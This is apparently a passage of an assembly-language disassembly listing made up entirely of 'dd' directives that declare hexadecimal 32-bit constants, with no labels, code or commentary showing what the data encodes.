dd 852E8A3Dh, 78375749h, 0AC079834h, 2B01883Ch, 942868C5h
dd 8C4BBCh, 29A40A94h, 267516BFh, 0DD59D0Ah, 0A18380F0h
dd 0BC61FDBDh, 37F4088Dh, 8BE408h, 0DDF0C7CFh, 116BAA5Fh
dd 157B8000h, 51E42078h, 811C963Dh, 22E3C3A6h, 0E2B828A3h
dd 85802058h, 4E0A6CF9h, 0A8AFDCC8h, 0DCC2B58Ah, 3F602D82h
dd 908C94Dh, 3487B2Ah, 3D8BCAAh, 0C9881530h, 0A2238E2h
dd 0BCC88C48h, 47038CBCh, 0D9C9606Dh, 40A288B9h, 3E70B923h
dd 419ECB97h, 702911B4h, 40C721E9h, 782C7964h, 2437732Ch
dd 4B68B44h, 9FE96BB0h, 0D4B9DA05h, 9C88F880h, 57DB0E0Fh
dd 540B66Ah, 5D97BD1Dh, 0E9637B07h, 0A43F34C7h, 6005273h
dd 0DF0990CFh, 87595112h, 889DD40Bh, 9F91B86Dh, 0A9C2878Eh
dd 473119B6h, 337EF910h, 0C8AF0C0Eh, 8F7F60CEh, 1CF1185h
dd 0BC200766h, 2A5F9430h, 2AED7C40h, 9123806h, 32CB4823h
dd 0ADBA7843h, 0EC10FC65h, 0C8452B05h, 2064B171h, 3640C01Ch
dd 2CEB7E79h, 280F7D3h, 0B4A8A9F2h, 484140CEh, 4675200Fh
dd 12F00D6h, 0CB2D7AFh, 782095FBh, 0F6A6A7CDh, 9B8D327h
dd 0BDF4B708h, 85B67100h, 0D118EAD5h, 0ABEF60CFh, 0CCA80A7Bh
dd 0E6720641h, 8C7143D1h, 8F97718Fh, 0A05C2292h, 100D9E30h
dd 0E0B12D07h, 10DB666h, 1A5E5D37h, 6CA638E4h, 2064CE24h
dd 0BCF212F4h, 0ECA45FCBh, 537800D8h, 7FF9F52Ah, 0D3CD023Eh
dd 6CBED7Ch, 2B0F44E8h, 40A74817h, 0A444045Dh, 0C488D3F7h
dd 47F43C30h, 0E7C188B0h, 16E6C52Eh, 3761AD09h, 28F4203Fh
dd 4C090695h, 42BC701Dh, 0A837028Ch, 9ACB7B60h, 0BD0F8C54h
dd 0E40913E5h, 7148A9CDh, 1F2BD9F8h, 305E2BC8h, 15C93FF7h
dd 0C6003A18h, 966C8134h, 1ED465B7h, 0C20F1463h, 0DD3CBAD5h
dd 72034444h, 0F41BF7BCh, 3F401CADh, 696139EBh, 0A9D670h
dd 585F9C9h, 20B6779Dh, 0DB00C873h, 0AD05659h, 8C4C30B7h
dd 186A0D8Bh, 1677ED70h, 199BDD3h, 3BDF4184h, 0A7A83090h
dd 0E0455A4Fh, 0DCF4A62Dh, 4BA2012Eh, 0B2DBC28Ch, 2C6838E0h
dd 1420A876h, 0D86098A2h, 0B580AA86h, 10EE589Dh, 3058311h
dd 0E2A9257Ah, 99B3E1F0h, 6FE01984h, 0A2FCE093h, 3E741701h
dd 40A6CBB8h, 0E0391871h, 78BDA818h, 760635A7h, 60068E33h
dd 749C19D8h, 47208015h, 30820888h, 0CDF2D3h, 0BC6B8DF9h
dd 60A4702h, 52ABAEC3h, 0D8F87BB8h, 0F5B040F8h, 3AE57970h
dd 78B78820h, 0D7C0100Eh, 67437812h, 9EEB7782h, 8C0530E8h
dd 50A2CE30h, 5222106Fh, 17A48A6h, 0B8745E8Eh, 0CDC305FAh
dd 0D0620EBCh, 2E144FF7h, 5BB8DFCh, 3D0625D2h, 4838ED20h
dd 0A5137988h, 8C1D7333h, 0D0A0546Ah, 68122A7Fh, 3004AF03h
dd 40E93411h, 5CB1EF04h, 8C281EAEh, 10BBAC78h, 0C4259C1Fh
dd 0A3388858h, 22AF4C76h, 5C0BFF27h, 0FCB7AC04h, 74FC4644h
dd 0FE3F1704h, 6304BDB3h, 32AF3C35h, 8FB0F48Ch, 83142846h
dd 8F602B5Dh, 8250B5F4h, 98A2EB7Bh, 0C794E27Ch, 4D60A791h
dd 0DB0C1841h, 0B0593C4Eh, 0EA9B10h, 0CCE4B337h, 8586A0C0h
dd 556331Ah, 28BC84ECh, 0A55CF058h, 0C16EC8C2h, 0DE1C5E5Ah
dd 6E361B00h, 6B78388Ah, 2FFF4BE4h, 0BD2338h, 170CA56Fh
dd 7B16F21Eh, 0C84232D3h, 0C4C0A714h, 0BAD73650h, 8227D8A8h
dd 50E4E86Dh, 48220BACh, 64445963h, 136D9D44h, 24C852C3h
dd 825C84CCh, 0F84105CCh, 86899360h, 0A1963006h, 0C0977D28h
dd 6787C019h, 731ED230h, 0B4C06140h, 5B121CCDh, 0EF5F00FBh
dd 0D92F6FB8h, 3A4A53F6h, 0BCB34004h, 0F73B2C41h, 40406CB9h
dd 0F5970A8h, 0E2D50604h, 1D0E5B8h, 3EC69085h, 6325C207h
dd 3046A24Ch, 0C800430Bh, 98530A02h, 4E4010C2h, 0D384929h
dd 0AC008052h, 93177123h, 7899EB9Eh, 0AFD200CBh, 510C76F8h
dd 0BD7FB1DEh, 67409001h, 371455EFh, 0CD0A1473h, 8028A173h
dd 442BCC6Ch, 0F9384DC8h, 91FF8063h, 0BDF6CE2Ah, 6D7D0B3Ah
dd 24028E2Ch, 0FC51A59Ch, 0D6E6F00h, 3D4CD534h, 850101B1h
dd 313BFA58h, 0BA86894h, 83ACCDA5h, 54CD484h, 3D15739h
dd 2424913Bh, 0CEF703AFh, 5E7E0E21h, 0B438695h, 0DAB0C38Bh
dd 11FDF768h, 0D4392A41h, 75C93C7Bh, 3C34B901h, 94B473EFh
dd 0C780951h, 3004DE2Eh, 10C304A2h, 5A92A74h, 8C200E71h
dd 2C092EABh, 897C439Ch, 58A9E7CDh, 42EE8003h, 826D1821h
dd 0D46530Bh, 372F6CE0h, 6CE32Dh, 0EB6D85CCh, 0A0544C2Eh
dd 0B2CA68Ah, 88AEFAE3h, 0C7840016h, 0F8B01B68h, 8F5CA097h
dd 0FEDAADC5h, 0DB7A0835h, 1103A1D2h, 4430782h, 293D50B1h
dd 924CA0ACh, 1952D735h, 0CA908800h, 5FA58133h, 0E8E840C7h
dd 0F7A31FA1h, 0A8CF30C7h, 83734B10h, 0C66F3920h, 0D8D024h
dd 0A90D0C2Fh, 1900A663h, 9E8DACCFh, 7211019Bh, 54B213FBh
dd 1028F3F8h, 99E7782h, 0C78E1B5h, 5D6FC20h, 92E37A9Dh
dd 0D2B8D8C4h, 4BB1AA46h, 0E3DD0934h, 0E442CF08h, 2E2038E4h
dd 884FE046h, 23006A44h, 4F588E47h, 0BE974E52h, 13BA8088h
dd 7B23CDCAh, 545BB109h, 845A0Eh, 0B881201Ch, 5E729A51h
dd 18B62839h, 0ACE85880h, 0CEF0DD5h, 49304FCBh, 683AEC68h
dd 0E44A515Eh, 7E0406h, 73921DF3h, 799C121Fh, 0ADC61900h
dd 8317117Ah, 0C0E507Bh, 7CB63BA6h, 730D85BEh, 0F008C65Bh
dd 841DE682h, 72008117h, 799A8A20h, 988D0028h, 97834F71h
dd 13071274h, 0C62084E5h, 24C561DCh, 3C3C1D79h, 93C8240Fh
dd 0E6871A0Eh, 9885F0A4h, 1D004F75h, 0AC598396h, 0A3B56F9h
dd 5030E6C6h, 96CE0604h, 827C607Eh, 0A471F501h, 0E6635C9Ch
dd 7819D1BEh, 0D0818016h, 0A0DB9288h, 2AA1A618h, 0F082680h
dd 841F779Ah, 0B51D6F87h, 80381BCDh, 12A28809h, 20650314h
dd 6B880088h, 357DD1C6h, 7800B3A9h, 979B8312h, 0CE6C5F9h
dd 92C1504Bh, 8E006340h, 0B78B1473h, 3C603A3h, 825330C9h
dd 0D0875BFCh, 67F66D96h, 8F59E1CEh, 0A0787833h, 9217041Dh
dd 32720299h, 88B10074h, 0BC1F1216h, 83234F9Ah, 23777E61h
dd 4FA4A190h, 7604288Eh, 3C38D1CCh, 0D809D4D4h, 0BCE44E6Bh
dd 0B05C820h, 0DA477029h, 6324B859h, 78A0412Dh, 1FD0DC74h
dd 0F0BC30B0h, 0D7D37918h
dd 14885F5Bh, 156144BEh, 849098BAh, 60243E51h, 58225C88h
dd 556F2E5Bh, 0BF4D42D0h, 90766CE1h, 0A593E158h, 17609428h
dd 0D0B00C50h, 160789CBh, 0F2CC0EE3h, 64422DECh, 0D6BEFCFCh
dd 60E02659h, 28484122h, 127C40A7h, 0D084C209h, 61B870C8h
dd 3B5188A6h, 8C592F2Ch, 0D1A55160h, 59666406h, 9430B113h
dd 0E194D410h, 110B6912h, 0E5A8BAE8h, 0AC331187h, 5B1087E7h
dd 0E80C18A9h, 530D01EDh, 73735034h, 78AD6BCBh, 0E320E878h
dd 7CD890AFh, 28F48ABCh, 698030C1h, 0A70E8500h, 97098CB6h
dd 297CA2B6h, 0C8EC6260h, 0C051FDCCh, 20E36F28h, 3012B745h
dd 0ECF43190h, 40CF5412h, 0CAD588A3h, 2381807Dh, 0ABC9CC8h
dd 0DDD36DA2h, 38BD8AACh, 0FF0D8B24h, 24854489h, 2B9847DFh
dd 8878D968h, 7174CD17h, 3320A081h, 0EB85B057h, 0E2B54000h
dd 4834D59Ch, 44D1042Dh, 0E544AC88h, 0B3A1DC54h, 0C18454A8h
dd 1037079Ch, 0AA8D2241h, 754882BCh, 46D0235Fh, 0E5189164h
dd 0ED192E32h, 45863E0Ch, 591C42DDh, 48260131h, 0FBC1EA08h
dd 5B205C28h, 73CD3EB0h, 0A909C12h, 412037A4h, 2255D0D8h
dd 2C9C503Ch, 4F8407F1h, 7BC534A8h, 0FEC48C0Fh, 0CD364900h
dd 4586F3E5h, 0D590015Ch, 0D6F77B7Ch, 0DC206E34h, 30EDCF2Ch
dd 0B738AB4Ah, 9CB2566Eh, 64D0F74Bh, 25F948h, 7CB2E5Dh
dd 0B25269C5h, 0A1BC7203h, 737F8CCh, 0BFAC4D29h, 91F49067h
dd 0A93917CAh, 253B7E0Bh, 0EBC08545h, 2CA9F79Ch, 1A92A300h
dd 74A21956h, 83B85C0Eh, 0ADAB0285h, 0FD38406Bh, 8B100173h
dd 40956C14h, 437E22h, 0BADCDF7h, 0B6851049h, 69944200h
dd 98D2C153h, 0DC90E012h, 48287B80h, 7800C96h, 753C17D1h
dd 61EEE404h, 0FEBC9F36h, 32F97300h, 0AF09749Eh, 7306403Ah
dd 6F2125h, 0E14A44A0h, 667E07DDh, 0B0E59701h, 2559F40h
dd 0AF5BA200h, 0E7B6617Dh, 0D304002Dh, 9F3AE5D8h, 0BD00E880h
dd 36471CD2h, 185CC3A9h, 489E6FA8h, 0EC41D1D8h, 0C08C6CECh
dd 32B3EACCh, 33001EB6h, 0E57CC2A9h, 30F44E87h, 4020576Eh
dd 75E0EB1Bh, 8420E753h, 3D6020E5h, 230047A7h, 0DCBD1604h
dd 19BE4E37h, 9949E8D2h, 0D3A0F141h, 8078D83Dh, 593E2B6h
dd 0F89F3E07h, 99BF000Ah, 0F0B4DC4Eh, 0EE15E985h, 1684CF97h
dd 0B400F7A3h, 0AB9BF55Ch, 9CA53A44h, 8D21E030h, 510004FFh
dd 89F6BD3Eh, 0F83C210Ah, 8A6B18D2h, 0A35778ADh, 0E35F81C0h
dd 0EEDBC7h, 278841A9h, 0D1DAB94Fh, 1E69F0Ch, 0E8852990h
dd 0AB5730F9h, 0EE62BF11h, 5836E801h, 901E3D45h, 21B80898h
dd 0EE30AA68h, 442908D1h, 3F20E321h, 0DBD907A1h, 0B156D5DAh
dd 0C02B252Eh, 39C0BB58h, 20C80907h, 0D3CF0178h, 553C422Dh
dd 82A3F4E3h, 83592500h, 6298B596h, 9FD605BEh, 13D81AAh
dd 70A0B09Ch, 3AC76F0Eh, 6BBFE570h, 0C0A8E8AFh, 0E787921h
dd 1F00C2BAh, 90DBFD6Fh, 8040E9C9h, 0CA6FB70Ch, 25660189h
dd 1180A257h, 91757C55h, 1F03E2EBh, 0AD7D5859h, 85CCB981h
dd 30FF9052h, 0E611EEACh, 0B288A836h, 0EE945E80h, 9D7262h
dd 31438A4Ah, 79811557h, 256A6600h, 7D4006FDh, 0A1EC63FBh
dd 75B0E690h, 0CB1FED68h, 8F12FCFh, 20874136h, 0D0ECEE6Eh
dd 0D594D354h, 0A1034C01h, 0B658274Ah, 92EF7980h, 0CFBA7EB5h
dd 89F39800h, 591A8844h, 0B9051461h, 3C9480AAh, 0F801EF23h
dd 0FD5C8704h, 0A0A9B618h, 9405C084h, 86DB1E00h, 0B7D42B70h
dd 804A29A0h, 925180A4h, 0C59BF1BFh, 47960B1Dh, 2C9C8F01h
dd 0E842EC10h, 0E873093h, 6BB6F808h, 40AC64AFh, 4B0E6F80h
dd 9CE612DBh, 985C00B1h, 0D2DF3D1Dh, 60026C24h, 453D38A8h
dd 6689879Eh, 0D8F2B321h, 71C8435Dh, 52028CE8h, 2D5C70FEh
dd 10B7199Dh, 4FA9Ah, 12F2C73Dh, 8A250576h, 390BC804h
dd 7D40ABB8h, 0E7E6F793h, 3459CC60h, 0C4B75883h, 80235A21h
dd 0D96ED23h, 0D624E000h, 0FB90E74Eh, 8C0C9805h, 11E176FCh
dd 88C56862h, 0E9A9803Ah, 0D5EA8CECh, 2300BB98h, 66AA5A53h
dd 18D3CBE5h, 79E7BE65h, 700749A0h, 671C913Fh, 3AC44FC3h
dd 11B02C18h, 5CE1AE71h, 0E0250306h, 79C1DD97h, 80B4013Fh
dd 3E71F130h, 17EEC0C2h, 0CAC0A600h, 36F2918Bh, 42400B8h
dd 0FBA3D5E8h, 6418AD7Eh, 55540750h, 6C1ED4D6h, 0E71D6E23h
dd 75687484h, 6F213862h, 8520ECEFh, 4D50B07Ch, 28E8FC6Ch
dd 4D23BE42h, 0AE20105Ah, 9D0F8C19h, 329FD5F7h, 0E716060h
dd 1BB83B52h, 0A922C3h, 620E797Ah, 0D88D38D2h, 44243124h
dd 58E04341h, 60872460h, 0D9EB3136h, 700E132h, 53DACBD2h
dd 9844354h, 0DD0E250Ah, 4B407491h, 0E7968304h, 631024AEh
dd 81AF8A18h, 1EE30110h, 308215F1h, 0FF484FDCh, 5A871870h
dd 317EE021h, 0A48E80Dh, 6D844E9h, 28A7FFF8h, 66F44A43h
dd 0E183850h, 0B5114887h, 72FD05DAh, 0AB44A932h, 6871F113h
dd 0D424B597h, 612B7844h, 0DA8518AFh, 0D2398609h, 0E51586Ah
dd 392BBF31h, 501307E0h, 9301ECE0h, 0AFF7B40Bh, 243536AEh
dd 3EF0AC08h, 6544167Ch, 0BA8ABC01h, 0EC293AE6h, 50A1C8D3h
dd 0B5C92DBh, 0C287E954h, 4E6CA8Fh, 0FF071980h, 0E1B01A48h
dd 0E6493980h, 93A90035h, 0AF634042h, 2C00E8B3h, 24ED9404h
dd 6354578h, 43F15C89h, 3D000888h, 0F8BD7974h, 0E0E6CECBh
dd 0E84F2BA1h, 0B8E99B4Ch, 4CD090E8h, 520E0A4h, 6FED3191h
dd 200FF548h, 0F46436B2h, 54589F0h, 24AC40AEh, 0A4A10C59h
dd 0A96AD907h, 0BCB3F6A5h, 41200299h, 0A2B858F7h, 6544E008h
dd 0A0DBE483h, 0C3D39029h, 0E96C3618h, 0A97821AEh, 0C170EC48h
dd 92352AF9h, 0AF868847h, 0F6AB0E48h, 0EEE3AA48h, 71094B56h
dd 8773437Eh, 712C4F68h, 0D91F0415h, 0C0115B95h, 0BB57AFB8h
dd 0FC304389h, 0BDEC053Eh, 82E56EEEh, 9C886FC7h, 36A60558h
dd 5C94C3F6h, 0FD359119h, 0DF106410h, 662C9DECh, 5709D36Dh
dd 87948339h, 1621013Fh, 31E98310h, 0A74222Ah, 0BCFDF763h
dd 79EE8039h, 0F49529BEh, 83F4904h, 700243Ch, 0ECBF751Dh
dd 7900F617h, 0F5216558h, 0CE6A4FCh, 8150A0F7h, 0FD00C431h
dd 4F6AC71h, 20F1670h, 19895611h, 0D864963Fh, 0FD9E4700h
dd 0F57F0EC5h, 7EE70645h, 21CD2B31h, 1C90A579h, 598A5032h
dd 0C888F44h, 24E11D2h, 716789FEh, 0C41AC18h, 6BD44C98h
dd 35A87348h, 606051C4h, 92372AB1h, 6C6804B8h, 0C1D1522Eh
dd 8236D29Ch, 57915C19h, 22D0A0CBh, 903C7459h, 81650020h
dd 4E39D067h, 0BCEC3668h, 432B82FAh, 5313143Bh, 302ACC0Ah
dd 3E34A13Ah, 6A60C13h, 0A93757D8h, 75667D16h, 0E17EB800h
dd 2E815B5h, 98E60E18h, 0D0C457C8h, 0A0D99F00h, 0AA1BEE3Ah
dd 24D3FE85h, 4404502Eh, 2F68C475h, 0D9CF0428h, 0E2F3B48h
dd 269E6EEAh, 0EA592565h, 0AD8730E7h, 0C8541431h, 0A5BD4218h
dd 6BAB61h, 2B5DAD95h, 9CA804EFh, 8C101C91h, 53AC74C0h
dd 0DB28EDE7h, 0AF2198B0h, 0AA940870h, 18A71832h, 4384CD54h
dd 89C0517Fh, 94B65518h, 34FC30E0h, 0A0EF5079h, 9C04C400h
dd 0FF2E7691h, 0AC664CCBh, 2C2CA428h, 3EA85FF6h, 1BD8F068h
dd 0E7C04040h, 0D09524DAh, 20221A4Ah, 0D860806Fh, 418AA30Eh
dd 38434204h, 0BAC2A0D7h, 205C6063h, 0E91096DFh, 4687A80h
dd 820D93CFh, 5FACC0B0h, 284C7D3Fh, 593605E1h, 78807F79h
dd 48FC0C65h, 0DE2E3C8Ch
dd 36DB028Fh, 44C1AF7Eh, 7989981Fh, 31666D51h, 0EC31EFBCh
dd 0C0DBDC50h, 3AB780C1h, 50704A79h, 60FBF85Ch, 294118C1h
dd 7898A219h, 7C5D6BE8h, 17ED0040h, 940FA82Ah, 3F1A29C3h
dd 97D18C94h, 7F3CC230h, 9DE11AB7h, 0F7B48210h, 1180C51h
dd 98068D40h, 0D9412084h, 0EB2D9614h, 627B0CD0h, 0E87E87Eh
dd 0B0D853BBh, 0C08FE746h, 6D57961Dh, 907C9F43h, 0CF29217Bh
dd 0BF99A508h, 798D1142h, 3C5CE322h, 5237038Bh, 0E0A64546h
dd 897E61h, 35049039h, 0FD6B404Fh, 0D3004A70h, 0D756F6DBh
dd 8726C8h, 99D2F847h, 0CD903DB5h, 352C3Eh, 0FBB76301h
dd 346546Fh, 0B5B8C91Ah, 93B8F0FDh, 0A600ED2Ch, 0F3BA391h
dd 0CB2BA2Ah, 0A0C1EE5Fh, 6B009829h, 3A6D2C94h, 33727Bh
dd 309B8BDCh, 95DFF781h, 0FEB3E700h, 2B10FFAEh, 0A6A90069h
dd 0C9922DCAh, 0C7008018h, 0A5D4FC3Ah, 9C3498h, 0F00EEBBEh
dd 0B157E124h, 0D6521B1Eh, 0C026738Eh, 0B209EACAh, 0B68C0039h
dd 0D13A4819h, 0A00BA3D3h, 0A05BA6B4h, 63794EF8h, 0E8C6004Ch
dd 16E99974h, 4F00E46Ah, 0B0B80686h, 18796D0h, 0E0119F35h
dd 0EC085972h, 7800C9C2h, 2F6EFFF1h, 226BD0h, 0DE18435Eh
dd 68EB2752h, 0F2034B04h, 87C06328h, 0C8FE71h, 0EAA114B4h
dd 732F8964h, 0A00E292Ah, 165BB0Ah, 80009CB3h, 2FF3501Ch
dd 773B2AD8h, 0C7DD00ACh, 46035723h, 0E403CB28h, 0ADC5826Eh
dd 1F0D9806h, 31700EBCh, 0C940D80Bh, 2BA96B89h, 0E5E3F300h
dd 3A4D4A2Dh, 0EFC7010Fh, 0A4FDBB49h, 853FD8F4h, 36830700h
dd 3D44EE3h, 7D0601D1h, 0B63C461h, 605BF53Fh, 343B96B0h
dd 21A280FBh, 5D9F8D85h, 4F410119h, 0DEAFBD5Eh, 564430ACh
dd 0D828F01Dh, 0E130F3CCh, 8E753FC7h, 4614CC00h, 1794746Eh
dd 0B73FD000h, 0ED9C648Bh, 6F5100FDh, 0CF126508h, 1618449Eh
dd 5E40ECB6h, 80300022h, 3BC7BABBh, 6A5C8E4Fh, 124D023Bh
dd 8054C4D3h, 587E0FF3h, 665E00ACh, 0B0B4D00Dh, 0B303F18Eh
dd 881FAE71h, 0D9290231h, 65541315h, 0C441F6E1h, 7C73D6A4h
dd 0AFDEAE00h, 61A5A7Eh, 0A63A006Eh, 4EB6EE60h, 0F61F1E6Bh
dd 5455BDAh, 0A500D52Dh, 0C3EFD8ADh, 76630353h, 367328AFh
dd 2AE46903h, 88320A18h, 0F32392h, 6530D5BFh, 0A1598D4Fh
dd 2618464Ch, 791E10ADh, 14519B80h, 617BD2Ah, 29E46401h
dd 0CE001E85h, 8C4F841Fh, 0E4CFC41Eh, 628100DFh, 0B330EFF5h
dd 0B5009329h, 0F0DEC1C5h, 718CE8Ch, 1935E727h, 0E1A51052h
dd 0BA38487Ah, 2EDB0730h, 0E4DF7EBCh, 34900EEDh, 90C31777h
dd 0FC970044h, 0D5F735F1h, 850164F0h, 0C507FE25h, 0C0604584h
dd 0C6CE006Dh, 0D67E17EBh, 6E020181h, 4CB04D6Bh, 0B1D0E82Eh
dd 9B340015h, 0F48DE1CBh, 5B003C3Bh, 4708B3B2h, 3F12476h
dd 9AFD6517h, 84AF3DE9h, 0BF9880D8h, 4A07D488h, 661AEF84h
dd 459C3FB0h, 35780921h, 7A87A12Bh, 7F6AF0F2h, 0C909CD77h
dd 804ACAC6h, 1965DABCh, 0F37158DFh, 6FCB3800h, 0E18DDD88h
dd 4A3AFE00h, 1C6405EDh, 86E00D4h, 3BCAC1C7h, 21008AA5h
dd 2CF9A666h, 3BA1F333h, 0E280DA2Ah, 505E3820h, 56015A27h
dd 60229D7Bh, 90EF70B3h, 96E3658Eh, 0CA5D0454h, 1984D099h
dd 0AD717A72h, 0FD62AA00h, 6A48EDC2h, 0AFC45052h, 709872DAh
dd 0ADCA00B3h, 31BD9456h, 59000AE0h, 90B64548h, 0FDBC3Eh
dd 0CFD4E57Fh, 0F726BBC8h, 6F23AF00h, 5924B18Eh, 0A0C2007Dh
dd 4EDCDA66h, 2E77BE38h, 0FEC8BB09h, 0D2D0609Dh, 0C340061h
dd 8B24166Ah, 3C7C5AC7h, 0F7397F00h, 2263574Dh, 75FF58D3h
dd 4F5F0400h, 54BDAFBBh, 34285Dh, 166EE6Ch, 0AC8809h, 0AEB1D3B7h
dd 0F3E16999h, 11BE0C04h, 64800D9Bh, 5462AE2h, 775A6815h
dd 0A48A80D6h, 0CD00C4E9h, 4E651C5Fh, 0B076D0F6h, 84BF3A30h
dd 59C1FE84h, 53489127h, 805421DCh, 1BA70A31h, 0FEF25Bh
dd 1A6A4F89h, 57D13EDEh, 90823A40h, 7DC81E3Eh, 1092000Eh
dd 236902F1h, 4E0A661Ch, 0A46B7101h, 309E39CCh, 2A5A0046h
dd 75AB50EEh, 9DC8AC00h, 0C5FCD5CFh, 18A93D9Ch, 0FEA8313h
dd 31801A44h, 5C339E71h, 5400EFECh, 9FD6A84Ah, 0A0DAE804h
dd 982370D4h, 0D7C0009Ah, 0DF18DCF3h, 0C12CE1F0h, 0B100885Ch
dd 90C98C41h, 21C22726h, 0B6310075h, 71F6D8h, 0E9A6531Ch
dd 47ABAA2Ah, 52C66B00h, 79957E38h, 98C10056h, 1E5DDF2h
dd 550EE059h, 806B28B4h, 0B687F94Bh, 0B0757050h, 0D910300Eh
dd 84023938h, 2B887807h, 4040614Fh, 5E1A94h, 0B48D27B6h
dd 0BB8FF103h, 0A90CA200h, 291B7C07h, 5777006Ch, 75C08974h
dd 11EC1A1Dh, 0FF98B400h, 0BFD56E02h, 0A670482h, 905AC265h
dd 27200D34h, 0F6487600h, 0E1B79BD8h, 10CD0B8Fh, 180B9F3h
dd 0CB21EB08h, 0D8F44913h, 8B41A81Ch, 0B5D6B6ABh, 1EE2824h
dd 6322640Ah, 30E6232Ch, 0ED118E64h, 0BBC0E202h, 0F15360E4h
dd 9B407C00h, 5D80E0A9h, 80D8B457h, 906003B8h, 630BC155h
dd 200D7E2Dh, 1FFE8DB8h, 0B0B92539h, 36AFA406h, 10A448h
dd 0FDE1682Bh, 2CE24E3Dh, 78B46ADh, 7079D574h, 0C5A76794h
dd 1BBFEF00h, 0BE1F3A5Fh, 0A438EB06h, 0C160C307h, 0ACB3B5F1h
dd 2B57006Dh, 0AE8A14C9h, 629E0144h, 78F15E26h, 525480DDh
dd 2AD7AC56h, 553707CFh, 0D0A144A9h, 7BE0C580h, 58862D30h
dd 0BABB8FCh, 0CB3D30AFh, 0D87B6048h, 6720DE63h, 0A283E7A5h
dd 85112099h, 78D28122h, 764C2535h, 0F60C480Fh, 28C0665Ah
dd 173C254Eh, 5C94C2h, 1E9C8D5Ch, 977B4CD0h, 0B1A43900h
dd 0D22FDB68h, 0C578B7h, 6D66C41Ah, 0CE5C7C9Ch, 4CECBF28h
dd 3BEE4410h, 0B3B90378h, 5A424DAFh, 0EBC4F6A0h, 4387CF00h
dd 76B0D858h, 16FD07D0h, 3AE17Ch, 558F8660h, 0DD8E4400h
dd 0D168F818h, 3E3D72EAh, 0BEAD8066h, 0DC04C028h, 0A1C0FC31h
dd 0C878BD87h, 0A5B8D809h, 9A33B840h, 826B8B8Ah, 0E5A1BB8h
dd 29A7D546h, 90113742h, 2F2273h, 84EAC1C8h, 31F8FB9Dh
dd 0D82E302Ch, 2AB7CC80h, 70EEFD9Ah, 8F36005Fh, 0B3F23A98h
dd 0A3006A86h, 0D607BBE3h, 2339190h, 192AB8F9h, 9C60A8F5h
dd 83AE143h, 0E5C19C62h, 0DA10803Ch, 92D823E8h, 0BC6D002Ch
dd 0F062EE6Eh, 63001F13h, 76D66B0Ch, 3D1BAC17h, 0B4958499h
dd 247B8861h, 80804A39h, 0E985BD38h, 0BE00F5A1h, 9E6E7B15h
dd 0C37F4356h, 32082F20h, 0D6B09AF0h, 28649300h, 73D0674Bh
dd 0B7E00022h, 72D36103h, 0FC00581Eh, 0F257D47Fh, 1E209B4Fh
dd 9C7DCF6Dh, 456300AFh, 51860BB4h, 0EC010F7Dh, 4C136F9h
dd 0D451DE6Bh, 0AC62C8F2h, 0C22A0079h, 0EF664963h, 0D90003B6h
dd 0F1E0B98Eh, 0A44B1Eh, 0E2702A1h, 0F99BAFB8h, 0ECD3DB00h
dd 0A3C46AF7h, 5F8A00E7h, 3F390FBDh, 66035415h, 6AEDAC86h
dd 0E23097E5h, 0E847E6FEh, 0B0E7008Bh, 0C4CBD53Ah, 58005B8Eh
dd 160F3C81h, 9CAD113h, 8F3BE5FAh, 3213B17Ch, 0D4927C05h
dd 34893800h, 0C5A57Dh, 0D3297EE4h, 0D4C7F081h, 60690504h
dd 76C0D940h, 5C92FB73h, 271CC4E5h, 0CBC4C16Dh, 704F453Ch
dd 4E0B16Ch, 374CEC00h, 8C600CAFh, 5C142643h, 0D1748074h
dd 0E68589A2h, 902FF716h, 0EDC1A440h, 2DACDAh, 0DF013564h
dd 0A1148CB7h, 0D074913Dh, 2909C3BCh, 0D06B98h, 0F76E5F27h
dd 8B1D00C7h, 0C3657295h, 46007AA3h, 0DB494A81h, 14021029h
dd 0D0CE6DB7h
dd 4BF638h, 0B8F579A0h, 7217DEB1h, 0EC20F79Bh, 7BEFF70h
dd 0F879C65Dh, 0C930F09Ah, 5F77216Ah, 76265700h, 0B77B93F7h
dd 45F139EAh, 80EB2500h, 0D0E86A03h, 93009494h, 0E6926DD3h
dd 0E4164D76h, 4FBC770Fh, 0F14633A1h, 6DD86099h, 6E423100h
dd 0ACFC902h, 18C46179h, 40B4E220h, 23C8E88Ch, 25EE6003h
dd 0E88FB885h, 60982815h, 0E00F1978h, 3D00B567h, 0EC6137FFh
dd 88E309h, 0BC8CCF5Bh, 0D6D06662h, 2347E800h, 1181425Fh
dd 0C6B800C5h, 6246247Eh, 0FD757C4Bh, 7129C100h, 0F3AF08ECh
dd 0D3E6CCh, 80855DD6h, 0B59A0C35h, 5B3B2BF2h, 9D16851Eh
dd 9AA7559h, 2470B96Ah, 2600AC74h, 34D64248h, 7212F6h
dd 0A0A9D96Eh, 0D1FE8EB3h, 5C4D5A14h, 86EC00FEh, 0B6112766h
dd 2508E216h, 0E0A429E3h, 0AB30A01Ch, 7F002498h, 0F9633644h
dd 505E8AD1h, 0DAACB1h, 0EAFCCCB2h, 50FF3C68h, 0A212407Ch
dd 5C80A755h, 0F04204h, 6CC29059h, 67702E0Ch, 184CDF79h
dd 4007600h, 47484C3Eh, 0EE84A8h, 9DE5DB1Bh, 0E99AC63Bh
dd 9234900h, 0D586E659h, 0D4571D6Bh, 0A5ED0063h, 998AFC82h
dd 51770F0Eh, 5EE420D8h, 51EA035h, 68156995h, 3A968146h
dd 474AE045h, 9158F100h, 24022948h, 12430051h, 77F6B9ECh
dd 23019CFEh, 0D33F2C50h, 0F840A3E5h, 4DB68Eh, 32735629h
dd 527A1139h, 0A97DC328h, 0EE958C30h, 3CC01F0Fh, 8E12B53h
dd 434BA5BFh, 4FC8AB95h, 801FD620h, 0A3C076C1h, 926FC416h
dd 0C9500091h, 230EA929h, 0FB00ACBFh, 0D0B1C271h, 1E2CE179h
dd 0C7F00325h, 803033F1h, 0C8CE0EA5h, 7FADC539h, 0F2785507h
dd 7E66D39Ch, 0E8A40098h, 0EFD7FC37h, 0CC000BCBh, 7C1C9A36h
dd 749B3Ah, 0AF7D4935h, 0BCDB19B6h, 1047FC30h, 0E686077h
dd 9FA4B02Fh, 0D534F7E0h, 0EC002E78h, 15BA8B28h, 91EDEAh
dd 87DFE986h, 0AAE51624h, 95CC6D0Bh, 69DD00F6h, 255390h
dd 72D7F486h, 6E5D1EFCh, 6F4F6500h, 0A44DB1C5h, 0C0943CCAh
dd 31813380h, 867D139Dh, 0E1000BE2h, 2F57A863h, 3B7BFB50h
dd 0A1805A40h, 5D323766h, 345903DFh, 49150ED0h, 0DC05D2BBh
dd 0DC909033h, 3B20378h, 41FA224Ch, 2016C9F6h, 5200FB30h
